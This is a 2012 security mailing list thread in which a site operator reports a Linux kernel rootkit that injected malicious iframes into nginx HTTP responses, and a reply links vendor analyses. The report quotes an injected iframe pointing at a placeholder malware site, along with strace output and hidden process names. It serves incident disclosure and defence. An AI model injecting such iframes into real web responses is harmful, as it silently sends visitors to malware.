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Re: linux rootkit in combination with nginx

From: dxp <dxp2532 () gmail com>
Date: Mon, 26 Nov 2012 11:04:25 +0100

Looks like a new rootkit according to Kaspersky [1] and some analysis
released by CrowdStrike [2].

[1]
https://www.securelist.com/en/blog/208193935/New_64_bit_Linux_Rootkit_Doing_iFrame_Injections
[2]
http://blog.crowdstrike.com/2012/11/http-iframe-injecting-linux-rootkit.html

PS: Interesting to know if others found this on their servers or is this an
isolated incident !?


On Tue, Nov 13, 2012 at 10:19 AM, stack trace <stacktrace44 () gmail com>wrote:

Hi there,

We've discovered something which looks to us like a rootkit working
together with proxy software like nginx. Our OS is debian squeeze and nginx
1.2.3.

Here is what happened:

We are running a web service and we got notified by some customers of us
that they are getting redirected to some malicious sites. Somehow a hacker
managed to inject an iframe into our http responses.

I tried to do a telnet test on our nginx proxy and saw that even the "bad
request" response which gets served directly from nginx contained the
malicious iframe code.

server {
    listen          80 default backlog=2048;
    listen          443 default backlog=2048 ssl;
    server_name     _;
    access_log      off;
    (...)
    location / {
        return  400;
    }
}

Doing a bad request nginx doesn't go to cache in this case - the "return
400" makes nginx reply with a predefined response (a string in memory).

Even this response contained an iframe like this:
HTTP/1.1 400 Bad Request
Server: nginx/1.2.3
Date: Wed, 07 Nov 2012 00:01:24 GMT
Content-Type: text/html
Content-Length: 353
Connection: close

<html>
<head><title>400 Bad Request</title></head>
<body bgcolor="white"><style><iframe src="http://malware-site/index.php
"></iframe></div>
<center><h1>400 Bad Request</h1></center>
<hr><center>nginx/1.2.3</center>

We've done an strace on the running nginx process and discovered that the
reply of the process actually didn't contain the malicious iframe.

writev(3, [{"HTTP/1.1 400 Bad Request\r\nServer"..., 151},
{"<html>\r\n<head><title>400 Bad Req"..., 120},
{"<hr><center>nginx/1.2.4</center>"..., 52}], 3) = 323

After a bit deeper digging we've found some kernel rootkit I've attached
to this email and also some hidden processes were running on our proxy
machine with names like write_startup_c and get_http_inj_fr (which sounds
like what happened to us).

Is this a known attack / rootkit etc or did we discover something new?

Cheers,
-stacktrace

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-- 
dxp

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Current thread:

linux rootkit in combination with nginx stack trace (Nov 14)
- Re: linux rootkit in combination with nginx dxp (Nov 26)
  - Re: linux rootkit in combination with nginx Gregor S. (Nov 27)
    - Re: linux rootkit in combination with nginx Benji (Nov 27)
    - Re: linux rootkit in combination with nginx Jeffrey Walton (Nov 27)